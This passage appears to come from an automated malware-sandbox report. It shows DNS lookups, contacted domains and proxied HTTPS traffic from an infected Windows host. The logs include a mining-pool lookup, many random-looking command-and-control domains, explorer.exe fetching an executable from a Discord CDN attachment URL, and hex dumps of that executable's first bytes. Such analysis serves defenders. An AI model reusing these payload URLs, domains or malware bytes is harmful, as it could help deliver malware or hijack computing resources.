Jan 14, 2022 02:05:03.976402998 CET	8.8.8.8	192.168.2.3	0x9aa2	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.138139009 CET	8.8.8.8	192.168.2.3	0xa833	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.301692963 CET	8.8.8.8	192.168.2.3	0x2f91	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.483315945 CET	8.8.8.8	192.168.2.3	0xb872	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:04.975637913 CET	8.8.8.8	192.168.2.3	0x9b32	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:07.178842068 CET	8.8.8.8	192.168.2.3	0x4851	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:07.365003109 CET	8.8.8.8	192.168.2.3	0x4d82	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:07.552033901 CET	8.8.8.8	192.168.2.3	0xb7db	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.031440020 CET	8.8.8.8	192.168.2.3	0x4854	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.242599964 CET	8.8.8.8	192.168.2.3	0x3b6e	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.470129013 CET	8.8.8.8	192.168.2.3	0xf829	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:09.677862883 CET	8.8.8.8	192.168.2.3	0x3d8b	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.039247036 CET	8.8.8.8	192.168.2.3	0x8de5	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.266221046 CET	8.8.8.8	192.168.2.3	0x64e9	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.473809004 CET	8.8.8.8	192.168.2.3	0xc3d1	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.599626064 CET	8.8.8.8	192.168.2.3	0x8d84	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:10.648077965 CET	8.8.8.8	192.168.2.3	0x1d75	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:12.367680073 CET	8.8.8.8	192.168.2.3	0x649d	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:13.061991930 CET	8.8.8.8	192.168.2.3	0xe0eb	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:13.427716017 CET	8.8.8.8	192.168.2.3	0xccd2	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:13.592808008 CET	8.8.8.8	192.168.2.3	0x5fd	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:14.055167913 CET	8.8.8.8	192.168.2.3	0xd742	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:14.492340088 CET	8.8.8.8	192.168.2.3	0xfe62	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.989980936 CET	8.8.8.8	192.168.2.3	0x2061	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.994252920 CET	8.8.8.8	192.168.2.3	0xe5d	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.994252920 CET	8.8.8.8	192.168.2.3	0xe5d	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.994252920 CET	8.8.8.8	192.168.2.3	0xe5d	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.994252920 CET	8.8.8.8	192.168.2.3	0xe5d	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:15.994252920 CET	8.8.8.8	192.168.2.3	0xe5d	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:16.283092976 CET	8.8.8.8	192.168.2.3	0xef42	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:16.591680050 CET	8.8.8.8	192.168.2.3	0x5531	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:17.111144066 CET	8.8.8.8	192.168.2.3	0xadcb	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:19.918910027 CET	8.8.8.8	192.168.2.3	0xcfcc	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:22.220567942 CET	8.8.8.8	192.168.2.3	0xf7f4	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.021650076 CET	8.8.8.8	192.168.2.3	0xc0e0	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.516758919 CET	8.8.8.8	192.168.2.3	0xc245	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.751137972 CET	8.8.8.8	192.168.2.3	0xd128	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.751137972 CET	8.8.8.8	192.168.2.3	0xd128	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.751137972 CET	8.8.8.8	192.168.2.3	0xd128	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.751137972 CET	8.8.8.8	192.168.2.3	0xd128	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:25.751137972 CET	8.8.8.8	192.168.2.3	0xd128	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:27.680460930 CET	8.8.8.8	192.168.2.3	0x754e	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:30.695780993 CET	8.8.8.8	192.168.2.3	0x5b6a	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:31.592963934 CET	8.8.8.8	192.168.2.3	0xed68	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:31.592963934 CET	8.8.8.8	192.168.2.3	0xed68	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:31.592963934 CET	8.8.8.8	192.168.2.3	0xed68	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:31.592963934 CET	8.8.8.8	192.168.2.3	0xed68	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:31.592963934 CET	8.8.8.8	192.168.2.3	0xed68	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:33.008903980 CET	8.8.8.8	192.168.2.3	0x7fc1	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 02:05:47.461332083 CET	8.8.8.8	192.168.2.3	0x8231	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)
Jan 14, 2022 02:05:49.139260054 CET	8.8.8.8	192.168.2.3	0x3a4f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 14, 2022 02:05:49.139260054 CET	8.8.8.8	192.168.2.3	0x3a4f	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.225	A (IP address)	IN (0x0001)
Jan 14, 2022 02:06:01.674973965 CET	8.8.8.8	192.168.2.3	0xb7d5	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)
Jan 14, 2022 02:06:01.674973965 CET	8.8.8.8	192.168.2.3	0xb7d5	No error (0)	pool-fr.supportxmr.com		91.121.140.167	A (IP address)	IN (0x0001)
Jan 14, 2022 02:06:01.674973965 CET	8.8.8.8	192.168.2.3	0xb7d5	No error (0)	pool-fr.supportxmr.com		37.187.95.110	A (IP address)	IN (0x0001)
Jan 14, 2022 02:06:01.674973965 CET	8.8.8.8	192.168.2.3	0xb7d5	No error (0)	pool-fr.supportxmr.com		149.202.83.171	A (IP address)	IN (0x0001)
Jan 14, 2022 02:06:01.674973965 CET	8.8.8.8	192.168.2.3	0xb7d5	No error (0)	pool-fr.supportxmr.com		94.23.23.52	A (IP address)	IN (0x0001)
Jan 14, 2022 02:06:01.674973965 CET	8.8.8.8	192.168.2.3	0xb7d5	No error (0)	pool-fr.supportxmr.com		94.23.247.226	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

185.233.81.115

cdn.discordapp.com

goo.su

transfer.sh

tohbexyqd.com

host-data-coin-11.com

qemwkkknb.com

sehjpct.org

kkhrplyy.net

lidkfd.org

popkliov.com

fykgdre.net

uvumpml.net

data-host-coin-8.com

hgkjur.org

wgptatsj.net

hrthj.net

vttyxu.com

privacy-tools-for-you-780.com

tvglqqodwb.org

xhagxmh.org

unicupload.top

yyienu.com

kdqhcrm.com

daysw.com

plwordqp.com

wraamedrjj.org

kqdfkw.com

dxrctvfush.com

lccuodusvk.com

185.7.214.171:8080

fuugcf.com

uiutea.org

awxalb.org

imnsr.com

uuinpcd.com

cigfojyqm.net

ivtvvkhir.com

wpstfsv.org

itqdcuytc.net

jtxlcvkyhk.org

xebsw.net

nidynuvo.com

pgwyor.org

othilrqrd.com

mytdlnr.net

oujeptp.com

actajhjta.org

twahbrsrsq.org

fmkbxykc.net

ioygerevc.org

qoipovw.org

jxsby.net

vpapu.net

dsagecm.net

hlxdj.com

fbcggnyslw.org

scmbkt.org

mpexvij.net

a0621298.xsph.ru

tsnggl.com

hxhwjbawy.net

dqwdlhs.net

hynwee.com

ffysvujf.net

idjlltqohp.com

ypdjs.net

sgcafdumt.net

ulcduabuke.com

tciav.org

rhsdqm.com

qfdwdtdqey.com

txypw.org

hwocxsokb.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49758	185.233.81.115	443	C:\Windows\explorer.exe

Timestamp	Direction	Data
2022-01-14 01:04:20 UTC	OUT	GET /32739433.dat?iddqd=1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.233.81.115
2022-01-14 01:04:20 UTC	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 01:04:20 GMT Content-Type: text/html Content-Length: 153 Connection: close
2022-01-14 01:04:20 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49783	162.159.129.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 01:04:32 UTC	0	OUT	GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2022-01-14 01:04:32 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 14 Jan 2022 01:04:32 GMT Content-Type: application/x-msdos-program Content-Length: 537088 Connection: close CF-Ray: 6cd2f36aed944e08-FRA Accept-Ranges: bytes Age: 290316 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Nidifying.exe ETag: "d7df01d8158bfaddc8ba48390e52f355" Expires: Sat, 14 Jan 2023 01:04:32 GMT Last-Modified: Mon, 10 Jan 2022 16:21:03 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1641831663140006 x-goog-hash: crc32c=9zjujw== x-goog-hash: md5=198B2BWL+t3Iukg5DlLzVQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 537088 X-GUploader-UploadID: ADPycdtAUXQOPbnIyWc7HwHE6Jjoo94_slb40xzLLQFjYJIeziMw89M1kSl2_68qrqD8x5Zob-f_ZoOlPr3MafIQeS5oJXYR_w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-01-14 01:04:32 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 32 38 43 63 74 46 72 66 31 68 71 57 4d 76 55 31 63 61 62 4d 7a 69 49 63 39 50 57 33 34 78 67 79 4a 71 65 31 71 39 46 74 6f 44 31 25 32 46 70 6b 7a 46 59 47 76 25 32 42 41 72 4f 7a 46 55 57 79 73 43 62 50 77 39 6c 41 62 64 75 55 62 25 32 42 56 4d 35 4f 78 54 37 33 54 36 46 50 42 31 4d 47 55 35 5a 4d 4c 65 31 65 4c 5a 6f 57 54 48 45 6d 5a 6a 32 35 25 32 42 30 41 36 69 69 4a 64 6d 55 49 38 66 56 49 41 58 4e 68 25 32 46 55 6c 76 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=28CctFrf1hqWMvU1cabMziIc9PW34xgyJqe1q9FtoD1%2FpkzFYGv%2BArOzFUWysCbPw9lAbduUb%2BVM5OxT73T6FPB1MGU5ZMLe1eLZoWTHEmZj25%2B0A6iiJdmUI8fVIAXNh%2FUlvQ%3D%3D"}],"group":"cf-nel","max_a
2022-01-14 01:04:32 UTC	2	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 79 2a a2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2a 08 00 00 06 00 00 00 00 00 00 ae 49 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?y0I `@ @
2022-01-14 01:04:32 UTC	3	IN	Data Raw: 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 03 30 03 00 42 00 00 00 00 00 00 00 28 a9 00 00 06 38 01 00 00 00 2a 28 5e 01 00 06 38 00 00 00 Data Ascii: ((0(((((((((((((((((0*0B(8(^8
2022-01-14 01:04:32 UTC	4	IN	Data Raw: 06 12 03 11 04 11 05 11 06 17 1b 1f 11 06 28 93 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0f 1f 0e 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 09 1b 1f 19 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0e 1f 09 1f 1a 06 28 93 00 00 06 12 05 11 06 09 11 04 19 1f 0e 1f 1b 06 28 93 00 00 06 12 04 11 05 11 06 09 1e 1f 14 1f 1c 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 0d 1b 1f 1d 06 28 93 00 00 06 12 06 09 11 04 11 05 18 1f 09 1f 1e 06 28 Data Ascii: ((((((((((((((
2022-01-14 01:04:32 UTC	6	IN	Data Raw: 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 0e 16 13 0f 38 2d 00 00 00 11 0f 16 3e 0c 00 00 00 11 0b 1e 62 13 0b 11 0c 1e 58 13 0c 08 11 0a 11 0f 58 11 0e 11 0b 5f 11 0c 1f 1f 5f 64 d2 9c 11 0f 17 58 13 0f 11 0f 06 3f cb ff ff ff 38 49 00 00 00 11 04 11 06 61 13 10 08 11 0a 11 10 20 ff 00 00 00 5f d2 9c 08 11 0a 17 Data Ascii: Y@I>BX8#>biXY`X?8.XXbXb`Xb``%(XY@P>Ia8->bXX__dX?8Ia _
2022-01-14 01:04:32 UTC	7	IN	Data Raw: 28 00 1f 0d 64 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 0a 61 13 15 11 08 11 0f 11 15 20 ff 00 00 00 5f d2 9c 11 08 11 0f 17 58 11 15 20 00 ff 00 00 5f 1e 64 d2 9c 11 08 11 0f 18 58 11 15 20 00 00 ff 00 5f 1f 10 64 d2 9c 11 08 11 0f 19 58 11 15 20 00 00 00 ff 5f 1f 18 64 d2 9c 11 0e 17 58 13 0e 11 0e 11 07 3f 26 fd ff ff 11 08 13 05 14 13 08 11 05 8e 69 Data Ascii: (da((+X()b)X)a(X((vlmXY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?&i
2022-01-14 01:04:32 UTC	8	IN	Data Raw: 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 13 05 38 06 00 00 00 17 80 6d 00 00 04 11 05 2a 7e 5c 00 00 04 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 9d 0e 00 70 18 8d 24 00 00 01 25 16 d0 13 00 00 01 28 23 00 00 0a a2 25 17 d0 24 00 00 01 28 23 00 00 0a a2 28 6d 00 00 0a 14 18 8d 0a 00 00 01 25 16 02 8c 13 00 00 01 a2 25 17 03 a2 6f 6e 00 00 0a 74 4e 00 00 01 2a 00 1b 30 08 00 5c 68 00 00 12 00 00 11 20 eb 00 00 00 fe 0e 51 00 38 00 00 00 00 fe 0c 51 00 45 a9 02 00 00 04 09 00 00 cc 55 00 00 41 43 00 00 cf 1c 00 00 b0 23 00 00 63 Data Ascii: o08m~\o00(&0SQ(#rp$%(#%$(#(m%%ontN0\h Q8QEUAC#c
2022-01-14 01:04:32 UTC	10	IN	Data Raw: 00 c4 0f 00 00 f1 37 00 00 73 57 00 00 f4 07 00 00 9b 0d 00 00 8c 06 00 00 03 4f 00 00 aa 44 00 00 c3 2d 00 00 8d 38 00 00 7a 0e 00 00 78 3f 00 00 66 53 00 00 10 12 00 00 9e 09 00 00 0f 58 00 00 87 49 00 00 75 05 00 00 bc 20 00 00 02 14 00 00 c0 3e 00 00 24 45 00 00 f1 15 00 00 6b 42 00 00 89 3e 00 00 b3 09 00 00 0a 24 00 00 6a 58 00 00 4e 30 00 00 ae 32 00 00 6d 16 00 00 ce 41 00 00 c3 48 00 00 c2 37 00 00 32 29 00 00 a2 54 00 00 e9 3a 00 00 2a 1c 00 00 65 22 00 00 2f 47 00 00 b6 2c 00 00 40 44 00 00 3c 59 00 00 cc 27 00 00 de 49 00 00 a6 24 00 00 16 1b 00 00 11 14 00 00 1c 08 00 00 6c 37 00 00 d3 1f 00 00 7b 1b 00 00 e3 10 00 00 77 21 00 00 08 28 00 00 e7 0d 00 00 d8 24 00 00 90 12 00 00 47 4d 00 00 98 45 00 00 3b 08 00 00 81 30 00 00 37 28 00 00 2e 19 Data Ascii: 7sWOD-8zx?fSXIu >$EkB>$jXN02mAH72)T:*e"/G,@D<Y'I$l7{w!($GME;07(.
2022-01-14 01:04:32 UTC	11	IN	Data Raw: 87 5b 00 00 ff 15 00 00 a5 3e 00 00 0e 1f 00 00 31 3f 00 00 6d 59 00 00 7b 1a 00 00 e8 46 00 00 b9 2b 00 00 34 17 00 00 27 59 00 00 b4 36 00 00 cf 22 00 00 a0 1a 00 00 50 3f 00 00 05 51 00 00 de 58 00 00 d4 3b 00 00 13 2f 00 00 7f 28 00 00 e3 4c 00 00 8c 36 00 00 76 44 00 00 00 0c 00 00 69 43 00 00 31 21 00 00 9f 4c 00 00 08 5a 00 00 ab 13 00 00 44 51 00 00 d1 18 00 00 cf 57 00 00 49 1a 00 00 17 5b 00 00 74 17 00 00 e6 39 00 00 20 3c 00 00 c9 15 00 00 4a 48 00 00 a9 0a 00 00 cd 1b 00 00 d5 28 00 00 44 3e 00 00 8f 21 00 00 13 52 00 00 5d 44 00 00 65 3b 00 00 04 2c 00 00 ba 3f 00 00 83 07 00 00 92 1f 00 00 74 32 00 00 8f 11 00 00 7c 45 00 00 1e 11 00 00 38 ff 08 00 00 fe 0c 0a 00 20 17 00 00 00 fe 0c 40 00 9c 20 ba 01 00 00 38 3a f5 ff ff 20 99 00 00 00 20 Data Ascii: [>1?mY{F+4'Y6"P?QX;/(L6vDiC1!LZDQWI[t9 <JH(D>!R]De;,?t2\|E8 @ 8:
2022-01-14 01:04:32 UTC	12	IN	Data Raw: 03 00 00 00 38 3c fc ff ff 11 65 28 d4 00 00 06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 00 00 00 00 28 1f 01 00 06 3a 16 fc ff ff 26 20 00 00 00 00 38 0b fc ff ff dd 4d 3a 00 00 26 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 30 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 1b 3a 00 00 20 33 00 00 00 28 1f 01 00 06 3a 5a f0 ff ff 26 20 3b 02 00 00 38 4f f0 ff ff fe 0c 05 00 20 08 00 00 00 20 7e 00 00 00 20 3a 00 00 00 59 9c 20 a3 01 00 00 28 1e 01 00 06 3a 2b f0 ff ff 26 20 23 00 00 00 38 20 f0 ff ff 12 08 e0 73 71 00 00 0a 16 28 c5 00 00 06 26 20 b8 00 00 00 38 07 f0 ff ff 11 75 11 1d 1a 58 11 07 1a 91 9c 20 96 00 00 00 28 1e 01 00 06 39 ed ef ff ff 26 20 65 01 00 00 38 e2 ef ff ff 11 45 17 58 13 45 20 Data Ascii: 8<e((( (:& 8M:& (:& 80E8: 3(:Z& ;8O ~ :Y (:+& #8 sq(& 8uX (9& e8EXE
2022-01-14 01:04:32 UTC	14	IN	Data Raw: 00 00 00 20 4d 00 00 00 59 fe 0e 40 00 20 92 00 00 00 38 6a eb ff ff fe 0c 0a 00 20 0c 00 00 00 fe 0c 0e 00 9c 20 ab 00 00 00 38 52 eb ff ff 11 5c 11 18 3f 98 3f 00 00 20 52 02 00 00 28 1f 01 00 06 39 3a eb ff ff 26 20 0c 02 00 00 38 2f eb ff ff fe 0c 0a 00 20 11 00 00 00 fe 0c 0e 00 9c 20 1b 01 00 00 38 17 eb ff ff 12 74 11 6f 7d 72 00 00 04 20 8b 00 00 00 38 04 eb ff ff fe 0c 0a 00 20 11 00 00 00 fe 0c 40 00 9c 20 15 02 00 00 38 ec ea ff ff 28 d4 00 00 06 1a 40 4e 05 00 00 20 33 02 00 00 28 1e 01 00 06 39 d2 ea ff ff 26 20 74 02 00 00 38 c7 ea ff ff 12 08 e0 73 71 00 00 0a 16 28 c6 00 00 06 26 20 8f 02 00 00 38 ae ea ff ff 20 96 00 00 00 20 32 00 00 00 59 fe 0e 1a 00 20 78 00 00 00 28 1f 01 00 06 3a 90 ea ff ff 26 20 8a 01 00 00 38 85 ea ff ff 11 1b 1b Data Ascii: MY@ 8j 8R\?? R(9:& 8/ 8to}r 8 @ 8(@N 3(9& t8sq(& 8 2Y x(:& 8
